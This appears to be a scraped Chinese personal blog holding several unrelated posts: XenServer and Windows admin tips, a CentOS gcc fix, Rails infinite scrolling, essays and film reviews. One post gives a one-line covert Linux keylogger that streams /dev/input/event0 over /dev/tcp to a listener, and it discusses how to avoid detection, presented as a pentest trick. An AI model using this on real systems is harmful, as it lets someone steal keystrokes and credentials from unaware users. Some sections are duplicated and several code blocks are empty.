XenServer默认是没有ISO镜像目录的,如果需要创建自定义镜像的虚拟机,需要先创建ISO光盘映像目录,再导入镜像。方法如下:
首先登录XenServer,运行如下命令,在/var/目录下创建存放ISO的目录(也可自定义成其他目录),使用xe命令创建镜像分区。
1 | mkdir -p /var/iso_import |
后面只需要将镜像iso文件导入/var/iso_import目录中,在XenServer可视化控制台中刷新(rescan)即可看到镜像。创建虚拟机时即可从自定义的镜像启动。
XenServer默认是没有ISO镜像目录的,如果需要创建自定义镜像的虚拟机,需要先创建ISO光盘映像目录,再导入镜像。方法如下:
首先登录XenServer,运行如下命令,在/var/目录下创建存放ISO的目录(也可自定义成其他目录),使用xe命令创建镜像分区。
1 | mkdir -p /var/iso_import |
后面只需要将镜像iso文件导入/var/iso_import目录中,在XenServer可视化控制台中刷新(rescan)即可看到镜像。创建虚拟机时即可从自定义的镜像启动。
Windows10在升级到1903之后,菜单栏突然多出了一个“ms-resource:AppName/text”的空条目,逼死强迫症。
如何安全删除这个图标呢?
方法如下:
以Administrator身份运行powershell
在Powershell中运行:
1 | Get-AppxPackage -all *HolographicFirstRun* | Remove-AppPackage -AllUsers |
打开任务管理器,kill掉explorer.exe进程(保持Powershell在前台运行)。在Powershell中,进入这个目录:
1 | cd $Env:localappdata\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy` |
如果能进入,运行以下删除目录语句:
Remove-Item -Recurse -Force .\TempState\
在任务管理器中重新打开Explorer.exe。此时查看菜单,ms-resource:AppName/text图标应该已经删除了。
参考自:
原文:
1 | Run Powershell with Admin privilege |
马伯庸的著作《长安十二时辰》改编的电视剧,最近很火。很精彩地诉说了一段唐朝天保年间的上元节,十二个时辰之内在长安发生的故事。
有的时候,短短一天,能够发生很多事情,无论是生活还是戏剧,都像是由片段拼接起来的勉强的近似解 – 无法完整回答人生那么长的困惑。
我想记住昨天在合肥的十二个小时的片段。
昨日傍晚五点从南京出发,不到六点就到了。其实如果在合肥南站附近置业,在南京城工作,通勤基本上是非常方便的。
合肥消费水平居中,空气也很好,是内陆一个还算不错的城市了。虽然我对那儿也谈不上喜欢,但是其实内心是比较怀念安徽的。
倘若不是如此,想必我会离开更远吧。
生活总是引诱我们做一些不得不做的事情,比如旅行,比如冒险。
生活还会引诱我们做大哥,就像长安的张小敬那样。以前我觉得做大哥就是呼风唤雨。
其实,做大哥真正需要的是默默无闻。无闻且无私,无私又无畏。大哥是让兄弟吃饱,自己受饿的那种人。
这样想来,生活引诱我们做大哥,其实就是在引诱自己受虐。结论是不要轻易做大哥,先想想自己有没有那种无私无畏,而不是一些其他什么。
谁能一直经得住生活的诱惑,不铤而走险呢?一旦去旅行,或者去冒险,又一不小心在旅途中做了大哥,搞不好会坑一路人。
这其实是我心里早就产生的想法,只是此次的合肥之旅,使我更加沉默了。
1 | cat /dev/input/event0 > /dev/tcp/127.0.0.1/1234 >&1 |
中午水群的时候,看到群友提的需求,要实现在Linux下的键盘记录,要求是没有进程、不易察觉等等。在思考Linux下怎样实现无痕迹的键盘记录的时候,脑洞一开突然想到在Linux中,所有的设备都是以文件的形式挂在/dev目录下的,键盘也不例外。与用户输入有关的设备/dev/input/eventX通常是一种字符设备,是以流的形式实时地连续读取的。再联想到反弹shell的时候,有一种姿势是通过将bash重定向到/dev/tcp中的设备,来实现反弹shell的。那么同理,是不是可以将/dev/input/下的输入设备字节流实时发送到远程进行监听呢?
想到就去做,于是先在本地监听一个端口,再通过重定向输入将/dev/input/event0设备的字节流发送到本地的监听端口,可以看见,能够成功将输入重定向到目标端口,说明此路可通。
只是这个时候,在我们的监听窗口中接收到的来自键盘设备的输入都是乱码,因为event0设备的输出是内核定义的特定结构体,并不是直接的可见字符,于是,我们还需要实现一个解析命令的服务端控制台来实现对输入的解析。
关于输入设备传入的结构体,想要了解Linux操作系统如何解码它,我们需要知道Linux输入事件input_event结构体是如何定义的。这里通过查阅资料了解到,键盘事件结构体的定义在python中的解包格式是’llHHI’,分别表示时间戳、设备类型、事件类型、事件值等。(结构体详情可以参考/usr/include/linux/input.h)。
因此目标就明确了,写个脚本在服务端远程解码即可。实现的效果:
在服务端运行脚本,目标靶机中输入命令:
cat /dev/input/event0 > /dev/tcp/127.0.0.1/1234 >&1
服务端看到的情况:
思考
这种方法实现的键盘记录,优点是不需要在目标服务器中上传二进制木马,只需要一条命令就可以执行。但是缺点是低权限用户一般无法读取/dev/目录下字符设备的输入,导致攻击利用有一定的局限性。同时执行ps命令会看到cat进程读取输入设备的进程,也可以在netstat中看到有网络连接等,容易被管理员发现,所以一般只能用于渗透测试过程中临时测试使用,或是一些比较特殊的场景下使用。
附赠服务端脚本:
server.py
1 | |
在CentOS 6 机器中安装sassc Gem,报如下的错误:
1 | [root@localhost ~ ]# gem install sassc |
经排查,是因为GCC的版本过低导致的。
按照这个步骤,检查下GCC版本,如果是同样的版本和报错,那么可以参考以下的解决方法:
1 | [root@localhost ~]# gcc --version | head -n1 |
如果GCC是这个版本,那就安装新版本的的GCC:
1 | yum install centos-release-scl-rh |
安装好以后,再次配置GCC环境并检查版本:
1 | [root@localhost ~]# cat << _EOF_ > /etc/profile.d/devtoolset.sh |
确认GCC配置好以后,再次执行bundle或者执行gem install sassc来安装即可。
随着现代浏览器性能的提升,前端工程师设计出的交互方式也多种多样。其中瀑布流方式滚动更新加载已经是一种常见的Web前端交互方式了。
然而在Rails中如何实现这样一种随着用户滚动页面就能自动追加内容到页面的方式呢?
有一些现成的Gem可以推荐,例如jquery-infinite-pages和will_paginate_infinite等。不过我觉得它们使用比较复杂,不如自己去实现一个。
本文既然提到最方便,自然是需要用一种最小化改动的方式来实现这样的功能。
具体如何实现,请往下看。
首先假设我们要实现瀑布流式动态更新的对象是Post(或者是Article、News或者其他),第一步我们需要在Gemfile中加入以下两个Gem:
1 | gem 'will_paginate' |
然后执行bundle,接着去修改posts_controller.rb,修改其中的index方法:
1 | def index |
这里由于我们增加了js的渲染格式,所以要去views/posts中添加一个index.js.erb模板文件,内容如下:
1 | $('#posts_list').append('<%= j render @posts %>'); |
上面的代码通过js定位页面中的posts_list作为要追加元素的目标,所以我们稍微修改一下views/posts/index.html.erb,在其中加入posts_list元素:
1 |
|
在这段代码中,我们将@posts集合交给其他模板去渲染了,而这里暂时还没有用来渲染@posts的模板,所以要在views/posts中创建一个_post.html.erb模板文件,内容如下:
1 | <div> |
就这么简单,用来输出标题和内容。
最后关键的一步,需要创建一个事件监听器来捕获页面的滚动变化,所以在assets/javascripts/posts.coffee中,加入以下代码:
1 | |
如此一来,就实现了通过ajax方式请求原来需要在下一页展现内容,并把内容追加到index.html的文章列表中,也就实现了瀑布流加载了。
一切修改好以后,重启Rails服务,在页面滚动一下试试吧。
本方法参考自https://www.sitepoint.com/infinite-scrolling-rails-basics/
在无垠的大地,广袤的草原上,生活着一批原始人。
他们以部落的方式群居,身体强壮的人负责打猎、种植,心灵手巧的人负责编织、烹饪。
部落里需要饮水,于是年老的长者带领着大家从遥远的河流里,往部落挖了一条沟渠。
至于为什么他们不直接搬到大河边居住,也许是因为河边土地过于松软吧,部落的土房子还无法适应那样松软的地表。
日子就这样,年复一年。
对了,在沟渠挖好以后,部落里除了打猎、编织的人以外,又多了一类人。
他们因为住的离沟渠比较近,可以很轻易地打到水,所以,他们开始一个新的工作,卖水。
不过,在原始人的世界里,没有“卖”这个字,他们也理解不了这个行为。
他们只是用打好的水,去和部落里的其他人换取一些猎物和织好的布。
日子就这样,年复一年。部落的居民也没觉得有什么奇怪。
这确实不是什么奇怪的事情。
毕竟,每个打猎回来的傍晚,打猎的人实在很累,也确实不想再亲自去渠边,拎那么一捅水回来。
他更愿意,拿自己多分到的一只野兔,去和住在沟渠边的人换一桶水。
这样看起来,整个部落的协作,反而变得更高效了。
卖水本身合情合理,也不是什么坏事,反而是一种善举。
这世界本就是这样,很多事情的发生,都有一个善良的初衷。
这件善良的事情,一致这样延续着,年复一年。
直到过了很多年,部落里有了一个聪明人,他居然用木材做成管道,可以更方便地引导水的流动。
一开始部落里的人只是以为可以多一种运输材料。
可是谁知道,有一天,一个原始人居然跳出来说,既然我们可以做成这么方便的管子了,为什么我们不把水供应到部落的每个居民家中呢?
这样,我们就可以不需要从沟渠里取水了!
猎人很开心,他送给这个提建议的伙伴一头野猪,感谢他提出这么具有建设性的思路。
但有一些人,他们不开心了。那就是原本住在沟渠边卖水的人。
这么些年,他们早已经忘记了怎么打猎,甚至,他们当中有的已经开始刻意逃避打猎了。
他们只知道怎么高效地取水、换野兔。
使用管道供水,就意味着,部落抛弃了他们。
管道,可以让猎人不用拿野兔换就可以喝到水,虽然猎人们同样需要用野兔去换一根可以供水的管道。
但却让渠边的人的生活,发生很大的变化。
提议用管道供水的人,他有错吗?他只是一个颠覆者。
发明管道的人,他呢,有错吗?他只是热爱发明。
猎人有错吗?他只是不想再用野兔换水。
在沟渠边卖水的人,有错吗?他只是在用劳动为别人提供方便。
没有谁有错,只是环境需要演变,部落必然要向着更高效的层次转变。
守旧者害怕改变,固执坚守。
颠覆者陷入困局,遇到阻力。
听说在有的部落,甚至因为这些,在内部起了冲突。好在这个部落没有。
最后,事情怎么样了呢?
部落开会决定把供水管道的建设和维护工作交给这些只会卖水的部落居民,让他们继续发扬奉献精神,为部落提供方便。
事情顺利推进了。
一个互害型社会,谁也逃不掉,谁也躲不开。正如雪崩时,没有一片雪花是无辜的。
希望此文可以引起我们共同的反思。
每天披星戴月地上班,走过熙熙攘攘的人群。
可曾想过,这一切繁荣与庸碌,是谁的宏观设计?
你收到的需求,你交付的方案,是谁在帷幄运筹?
今天下了雨,早上你过马路时,匆匆踩了脚油门,溅起的雨水淋湿了一位路人。
路人十分郁闷,带着糟糕的心情草草应付了上司催促的图纸 – 他是一位建筑师。
若干年以后,在你经过最多的路口多了一栋很丑的楼。
你觉得看起来无比别扭,别扭到甚至影响你的心情。
可谁能想到这楼之所以别扭,起因竟是那天飞溅的雨水?
那天的建筑师因为心情不好,还骂了手下的工人几句。
工人感到很不平衡。自那以后,他手里的螺丝,就从没拧紧过。
他心里想,反正建好的楼,最后也轮不到自己住。先倒霉的也是别人。
后来楼真的倒了,一次惨烈的事故。
一个在事故中失去亲人的受害者疯了,去校园里施暴。
保安眼睁睁看着孩子们受到伤害,不敢上前。
他心里想,反正受害的不是自己的孩子 – 更何况,他因为买不起那倒掉的楼,根本没有老婆。
你在广播里听说了这件事,庆幸还好自己的孩子不在这座校园。
庆幸的同时,更加用力地踩了脚油门,并没有感觉到,这又是一个雨天。
这部电影,前不久去重温了一遍。为的就是给宫崎骏补一张电影票。
想必现在影评都烂大街了,解读无非就围绕几个角度:欲望、人性、环保等等。
相比之下,宫崎骏并没有像东野圭吾那样近距离凝视深渊,在宫崎骏老爷子的笔下,世界虽然有着这样那样的不美好,但最后,总是会回归美好。
老爷子其实很善良,把一切的善意都流露在笔端,送给这个世界了。
文艺大师的出现,往往会和时代背景有着紧密的联系。
宫崎骏出生于二十世纪四十年代初,成长于六十年代初。
翻看日本的现代史,从二十世纪六七十年代开始,经济进入了稳定增长时期。从1989年开始的平成年代,到90年代末,东京渐渐成为了国际金融市场,经济达到了战后的顶点。
金融的飞速发展,让日本的经济突飞猛进,也加速实现了日本的现代化,以致于蜡笔小新那个年代的日本家庭,彩电、冰箱等家电已经成为了日本家庭的常见的家庭用品了。
宫崎骏正是在那个环境下成长起来的一代人(有点类似我们国家的85后,95前这批人)。
然而等到他羽翼丰满,才华横溢的时候,日本正在经历些什么呢?
经过几十年的快速发展,日本的社会变化已经翻天覆地。但紧随其后的经济泡沫,让整个国家陷入了低迷和萧条。
而经济发展带来的诸如快节奏的生活方式、社会矛盾、环境污染问题,成为了不可避免的痛点。
善良的宫老爷子,于是乎拿起他的画笔,通过一系列的形象、场景和比喻,来告诫和提醒人们这些问题,这就是为什么在2001年,有了这样一部动画。
动画中的一开始,千寻一家去的主题公园,就是经济增长时期开发,经济萧条时期荒废下来的“鬼城”。类似的场景,还出现在《天空之城》。在《天空之城》的故事中,未来的人们利用科技甚至实现了把拉普达这个城市漂浮在了空中,但却仍然避免不了衰落的命运,这其实就是在告诫人们,要实行一种可持续的生态发展战略。
经济快速发展,带来的精神层面的问题也越来越多。在《千与千寻》里,灯红酒绿的娱乐场(澡堂),形形色色的“妖魔鬼怪”忘了自己的名字,用金钱购买快乐。贪婪的人会变成猪,忘了自己名字的人,成为了别人的傀儡,任人摆布。
这是不是就是所谓的众生相呢?
反观当下,千寻曾经是你,是我,是我们每一个人。但是当我们离开象牙塔走入社会,是否又能一直保持一颗初心,面对世俗的诱惑,能够不为所动,一直记得自己是谁呢?
《千寻》这部电影,对于当下的中国,十分具有警世意义。
四十年的改革开放,让中国经济增速远远超过当初的日本,但是也要警惕经济发展所带来的反噬效应。环境、社会等问题,丝毫不可忽视。(而实际上,很多问题现在已经逐渐开始显现了。)
经济、社会的问题这里暂且按下不表,此篇杂叙只谈电影和文艺。说到文艺,往往时代会成就大师。中国电影的上一个时代,成就了姜文、葛优、冯小刚。而今后,必定也会诞生属于这个时代的一批大师。
想来,等我们这届年轻人老了,应该不会太无聊。
一切有为法,如梦幻泡影,如露亦如电,应作如是观。
这是一部不算太烧脑的悬疑电影。导演 奥利奥尔·保罗 是个我非常看好的逻辑鬼才。他的上一部电影,叫做《看不见的客人》。
这部电影说的是家庭主妇在雷暴中通过一台旧电视打通了与1979年的联系,意外地干扰了一起谋杀案,从而引发时空错乱的故事。
导演非常善于运用外部环境为剧情营造氛围,比如雷暴、夜晚等等。构思这样一部剧情严密并又逻辑复杂的电影是需要在剧本上费些心思的。
剧情就不做过多描述了。简单聊一聊这部电影带来的外围思考。
想必很多看过这部电影的人都有这样的想法,觉得人生如梦一场,恍惚一念,可能就会经历n个完全不同的故事。
哈哈,其实这不是宗教里面早就提出来的可能性吗?人生,仿佛梦幻泡影,如露如电。
从工程层面来说,虽然宇宙的空间无穷无尽,但是提高它的利用率大概也是造物主在设计这个系统时需要考虑的一个因素。
就好比,通过时分复用进行串口通信,以及在现代操作系统上,通过段+偏移来寻址,就可以更加巧妙充分地利用总线一样。
相信造物主在设计这个宇宙的时候,应该也是建立了不同的维度,让这个模型更加完美和巧妙,充满了艺术感,不是吗?
造物主为我们准备的刻度显然需要足够精确,在这种精确的维度下实现“时空复用”。
现象就是此时此刻可能有无数个我,有多少个未知的时空,就有多少个我。
那个勇敢说出喜欢你的我,那个加倍努力奋斗上进的我,那个沉迷游戏难以自拔的我,还有这个和你相遇的正在码字的我。
在这个系统里,人生的表达式,不是只有唯一的解,我们的相遇,也许只是一个偶然。电光火石间,刹那与须臾。
我想,那正是我们正在经历着的,盛大如梦幻泡影的,海市蜃楼。
Update your browser to view this website correctly. Update my browser now